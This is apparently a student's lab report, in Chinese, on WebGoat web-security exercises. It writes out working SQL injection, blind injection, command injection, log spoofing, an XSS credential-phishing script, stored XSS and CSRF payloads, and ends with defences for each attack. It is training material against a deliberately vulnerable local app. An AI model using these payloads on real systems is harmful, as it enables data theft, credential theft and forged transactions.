20174315黄华健《网络对抗技术》Exp9 web安全基础
2019-2020-5 20174315 黄华健《网络对抗技术》Exp9 Web安全基础
目录
一、实验原理与目的
二、实验过程
三、实验中后回答的问题
四、实验心得体会
一、实验原理与目的
本实践的目标理解常用网络攻击技术的基本原理,做不少于7个题目,共3.5分。包括(SQL,XSS,CSRF)。
二、实验过程
1. JDK和WebGoat环境配置
Wegoat安装
从有webgoat-container-7.0.1-war-exec.jar文件目录的命令行中输入java -jar webgoat-container-7.0.1-war-exec.jar 开启WebGoat。
浏览器中输入localhost:8080/WebGoat进入WebGoat登录界面,输入用户名guest密码guest。
JDK
在终端中输入:update-alternatives --config java ,选择第三项 java-8-openjdk-amd64
配置环境变量:【vim /etc/profile】 ,复制以下代码到文件结尾
JAVA_HOME=/usr/local/java/jdk1.8.0_161
PATH=$PATH:$HOME/bin:$JAVA_HOME/bin
export JAVA_HOME
export PATH
在成功配置完jdk后,重新登陆界面变为:
2. SQL注入攻击(Injection Flaws)
概念:注入攻击是攻击者通过Web应用传播恶意的代码到其他的系统上。这些攻击包括系统调用(通过shell命令调用外部程序)和后台数据库调用(通过SQL注入)一些设计上有缺陷的Web应用中的Perl,python和其他语言写的脚本(script)可能被恶意代码注入和执行。任何使用解释执行的Web应用都有被攻击的危险。
原理:SQL注入是一种广泛使用的危险度极高的注入攻击方式。要使用这种攻击方式,攻击者必须找到Web应用传递给数据库的参数。通过把恶意的SQL命令嵌入参数中,攻击者可以让Web应用把这些查询发送到数据库中。发现这些攻击和系统漏洞并不难。但是攻击产生的后果却相当致命,攻击者可以得到,破坏或者摧毁你所有数据库的内容。
命令注入(Command Injection)
1、概念:命令注入攻击对任何一个以参数驱动的站点来说都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能造成大范围的损害,危及系统安全。尽管这类风险数目令人难以置信,互联网中的系统很容易受到这种形式的攻击。
2、原理:在正常的参数提交过程中添加恶意代码以执行某条指令。
3、目标:可以在目标主机上执行任何系统命令
4、操作方法:
按住Shift+ctrl+c精准编辑方框中的代码,在后面添加 "& netstat -an & ipconfig\(符号不能有错)
点击view,可以看到执行指令后的网络端口使用情况和IP地址。攻击成功!
数字型注入(Numeric SQL Injection)
1、概念:通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通过构造恶意的输入,使数据库执行恶意命令,造成数据泄露或者修改内容等,以达到攻击的目的。主要是由于应用程序对用户的输入没有进行严格的过滤而造成的。
2、原理:在station字段中注入特征字符,组合成新的SQL语句。
如: SELECT * FROM weather_data WHERE station = [station]
3、目标:该例子通过注入SQL字符串查看所有的天气数据。
4、操作方法:
展开页面中选择Numeric SQL Injection
Shift+ctrl+c点击哥伦比亚,审查网页元素对源代码进行修改,在哥伦比亚后面加上or 1=1
点击Go! 即可显示所有城市的天气情况。
日志欺骗(Log Spoofing)
1、概念:通过在日志文件中插入脚本实现欺骗。
2、原理:在日志文件中愚弄人的眼睛,攻击者可以利用这种方式清除他们在日志中的痕迹
3、目标:灰色区域代表在 Web 服务器的日志中的记录的内容,我们的目的是使用户名为“admin”的用户在日志中显示“成功登录”
4、操作方法:
在User Name中填入WebGoat%0d%0aLogin Succeeded for username: hhj20174315。点击Login按钮,观察到以下结果。
利用回车0D%和换行符%0A让其在日志中两行显示,对于密码任意输入即可,输入这样的登录表单信息的结果就是肯定会登录失败,在日志里面失败提示的开头语是:Login failed for usernme:,开头语后面的内容是用户输入的用户名,也就是我们在User Name中输入的内容,其中%0d和%0a会被解析成回车符和换行符,从而实现换行效果,在它们的作用下这一长串用户名信息被分成了两行显示,在第二行的信息就是伪造的登录成功信息,这是我们在输入用户名的时候就计划好的。循着这个思路,就可以伪造出任意一个用户登录成功的日志记录
String SQL Injection(字符串型注入)
目标 基于查询语句构造自己的SQL注入字符串,显示所有信用卡信息
操作方法:
在菜单栏中选择Injection Flaws,展开页面中选择String SQL Injection
输入查询的用户名【yb' or 1=1--select】(1=1是恒等式,因此能查询到表里面的所有数据)
SQL注入(LAB: SQL Injection)
字符串型注入(String SQL Injection)
原理:通过注入字符串绕过认证
目标:以某一身份进行登录,获得全部成员信息。
步骤:
在菜单栏中选择Injection Flaws,展开页面中选择LAB: SQL Injection,展开页面中选择String SQL Injection
右键点击页面,选择inspect Element 审查网页元素对源代码进行修改,将password密码框的最大长度限制改为18。
以用户Neville(admin)登录,输入密码hello' or '1' = '1
Stage 3: 数字型 SQL 注入(Stage 3: Numeric SQL Injection)
1、原理:通过注入数字型数据,绕过认证,可以通过普通员工的账户,查看到BOSS的用户信息。
2、操作方法:
使用用户名 Larry,密码 larry 点击login登录,点击ViewProfile查看用户信息
右键点击页面,选择inspect Element 审查网页元素源代码,我们可以看到数据库索引的依据是员工ID,推测返回的是每次查询到的第一条数据。
用社会工程学解释老板应该是工资最高的,所以将员工ID的value改成101 or 1=1 order by salary desc,使得老板的信息作为查询到的第一条数据。
Blind Numeric SQL Injection(数字型盲注入)
原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:下面的表单允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。
操作方法:
本实验中,服务端页面返回的信息只有两种:帐号有效或无效。因此无法简单地查询到帐号的PIN数值。尽管如此,我们可以利用系统后台在用的查询语句SELECT * FROM user_data WHERE userid=accountNumber;
如果该查询语句返回了帐号的信息,页面将提示帐号有效,否则提示无效。使用 AND 函数,我们可以添加一些额外的查询条件。如果该查询条件同样为真,则返回结果应提示帐号有效,否则无效。
输入查询语句101 AND 1=1 ,因为两个条件都成立,所以页面返回帐号有效。
输入查询语句101 AND 1=2 ,有一个条件不成立,所以返回账号无效
针对查询语句的后半部分构造复杂语句 101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );
如果页面提示帐号有效,说明PIN>10000,否则PIN<=10000;不断调整数值,可以利用二分法,最终判断出PIN数值的大小为2364。
字符串型盲注入(Blind String SQL Injection)
1、原理:与数字型盲注入类似,某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
2、目标:找到 pins 表中 cc_number 字段值为 4321432143214321 的记录中 pin 字段的数值。pin 字段类型为 varchar。输入找到的数值(最终的字符串,注意拼写和大写)并提交,通过本题目。
3、操作方法:
与数字型盲注入类似,只是将注入的数字换为字符串而已
例如:输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' )
取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小
SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)
同样使用二分法进行测试,最后得到pin字段为Jill
XSS攻击
跨站脚本攻击是通过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,可以模拟用户当前的操作。这里实验的是一种获取用户名和密码的攻击。
XSS 钓鱼(Phishing with XSS)
1、原理:当用户输入非法HTTP响应时容易受到XSS攻击。在XSS的帮助下,可以实现钓鱼工具或向某些官方页面中增加内容。对于受害者来说很难发现该内容是否存在威胁。
2、目标:创建一个 form,要求填写用户名和密码。将数据提交到
http://localhost/WebGoat/catche r?PROPERTY=yes&user=catchedUserName&password=catchedPasswordNam
3、操作方法:
利用XSS可以在已存在的页面中进一步添加元素,包括两部分:
受害人填写一个表格;
服务器以读取脚本的形式,将收集到的信息发送给攻击者。
编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat
编写一个带用户名和密码输入框的表格
将下面这段代码输入到"Search:"输入框中,点击search;结果会出现代码中所指定的绿、红、蓝三块div,并在下方出现了用于欺骗用户的提示语“This feature requires account login:”和用户名、密码输入框。
<head><body><div><div style="float:left;height:100px;width:50%;"></div><div style="float:left;height:100px;width:50%;"></div></div><div style="height:200px;clear:both;"></div>
</div></div></form>
<script>function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script><form name="phish"><br><br><HR>
<H2>This feature requires account login:</H2><br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass"><br>
<input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR></body></head>
存储型XSS攻击(Stored XSS Attacks)
原理:这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标:写入非法的消息内容,可以导致其他用户访问时载入非预期的页面或内容
步骤:
在菜单栏中选择Cross‐Site Scripting,展开页面中选择Stored XSS Attacks
在title中任意输入学号,留言板中输入<script>alert("You've been attacked!!!I’m 20174315");</script>点击purchase的同时页面就给出了反馈
CSRF攻击
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
原理及过程如下:
1. 用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
2.在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
3. 用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
4. 网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
跨站请求伪造(Cross Site Request Forgery (CSRF))
原理:跨站请求伪造是一种让受害者加载一个包含网页的图片的一种攻击手段。如:<img src="https://www.mybank.com/me?transferFunds=5000&to=123456"/> ,当受害者的浏览器试图呈现此页面时,它将使用指定的参数向www.mybank.com的“me”端点发出请求。浏览器将请求链接以获得图像,即使它实际上是一个资金转移功能。提交请求时,浏览器将添加与站点相关的所有cookie。因此,如果用户对站点进行了身份验证,并且拥有永久或当前会话cookie,那么站点将无法将其与合法的用户请求区分开来。通过这种方式,攻击者可以让受害者执行他们不打算执行的操作,比如“购买物品”,或者脆弱网站提供的任何其他功能。
目标:向新闻组发送一封email。这个email包含一个image,其URL指向一个恶意请求。URL应该指向“攻击”servlet,其中包含“屏幕”和“菜单”参数,以及一个额外的参数“transferFunds”,其数值为5000。可以通过在右侧插入的参数中找到“Screen”和“menu”值来构造链接。当经过身份验证的CSRF电子邮件的收件人将被转移他们的资金。
步骤:
在菜单栏中选择Cross‐Site Scripting,展开页面中选择Cross Site Request Forgery (CSRF)
查看页面右侧Parameters中的src和menu值,分别为291和900
在title中输入任何参数(学号),message框中输入<img src="http://localhost:8080/WebGoat/attack?Screen=291&menu=900&transferFunds=5000" width="1" height="1" /> ,以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的(宽高设置成1像素的目的是隐藏该图片),用户一旦点击图片,就会触发一个CSRF事件,点击Submit提交。
绕过 CSRF 确认( CSRF Prompt By‐Pass)
主题:实现跨站请求伪造攻击(CSRF),包括通过多个请求绕过用户确认脚本命令
原理:跨站点请求伪造(CSRF/XSRF)是一种攻击,它欺骗受害者加载包含“伪造请求”的页面,以便使用受害者的凭据执行命令。提示用户确认或取消命令可能听起来像一个解决方案,但如果提示符是可编写脚本的,则可以忽略它。本课展示如何通过发出另一个伪造的请求来绕过这样的提示符。这也适用于一系列提示,例如向导或发出多个不相关的伪造请求。
操作方法:
查看页面右侧Parameters中的src和menu值分别为280和900。
并在title框中随意输入,message框中输入代码:
<iframe src="attack?Screen=280&menu=900&transferFunds=5000"> </iframe>
<iframe src="attack?Screen=280&menu=900&transferFunds=CONFIRM"> </iframe>
三、实验后回答问题
1.SQL注入攻击原理,如何防御
攻击原理:SQL注入即是指web应用程序对用户输入数据的合法性没有判断,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步得到相应的数据信息。注射式攻击 的根源在于,程序命令和用户数据(即用户输入)之间没有做到泾渭分明。这使得攻击者有机会将程序命令当作用户输入的数据提交给We程序,以发号施令,为所欲为。
防御方法:
(1)普通用户与系统管理员用户的权限进行严格的区分;
(2)不使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取;
(3)加强对用户输入的验证;
(4)多多使用SQL Server数据库自带的安全参数;
(5)必要的情况下使用专业的漏洞扫描工具来寻找可能被攻击的点。
2.XSS攻击的原理,如何防御
攻击原理:在编写代码的时候,没有对用户输入数据的合法性进行判断,攻击者通过对网页注入可执行代码且成功地被浏览器执行,这些代码包括HTML代码和客户端脚本,达到攻击的目的,形成了一次有效XSS攻击
防御方法:
(1)在表单提交或者url参数传递前,对需要的参数进行过滤;
(2)检查用户输入的内容中是否有非法内容。如<>(尖括号)、”(引号)、 ‘(单引号)、%(百分比符号)、;(分号)、()(括号)、&(& 符号)、+(加号)等;
(3)检查输出,严格控制输出.
3.CSRF攻击原理,如何防御
攻击原理:是一种对网站的恶意利用也就是人们所知道的钓鱼网站,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站,是一种依赖web浏览器的、被混淆过的代理人攻击
防御方法:
(1)在form中包含秘密信息、用户指定的代号作为cookie之外的验证;
(2)验证 HTTP Referer 字段,根据 HTTP 协议,在 HTTP 头中有一个字段叫 Referer,它记录了该 HTTP 请求的来源地址。网站只需要对于每一个转账请求验证其 Referer 值,如果是以 bank.example 开头的域名,则说明该请求是来自银行网站自己的请求,是合法的。如果 Referer 是其他网站的话,则有可能是黑客的 CSRF 攻击,拒绝该请求;
(3)在请求地址中添加 token 并验证,可以在 HTTP 请求中以参数的形式加入一个随机产生的 token,并在服务器端建立一个拦截器来验证这个 token,如果请求中没有 token 或者 token 内容不正确,则认为可能是 CSRF 攻击而拒绝该请求。
四、实践体会
现在是凌晨1点半,由于之前没有准备,不知道这次实验内容这么多,加之有些问题经常搞不懂为啥和别人不一样,前半夜还可以问问童硕和张博同学,后半夜就只能靠自己了,于是搞得弄到了半夜才弄完。说到实验内容方面,web安全基础,是我们上个星期实验的拓展,主要是和攻击相关的内容,这次实验运用了很多攻击方式,让我大开眼界,其实弄起来也不是很无聊,玩起来还真有点意思的,当然如果不是死线来临那就更好了(笑),在网络攻防对抗的学习过程中,颠覆了我很多曾经对于互联网的认知与想法,开拓了视野,丰富了我对计算机新技术的认知,希望日后能再接再励,学以致用吧。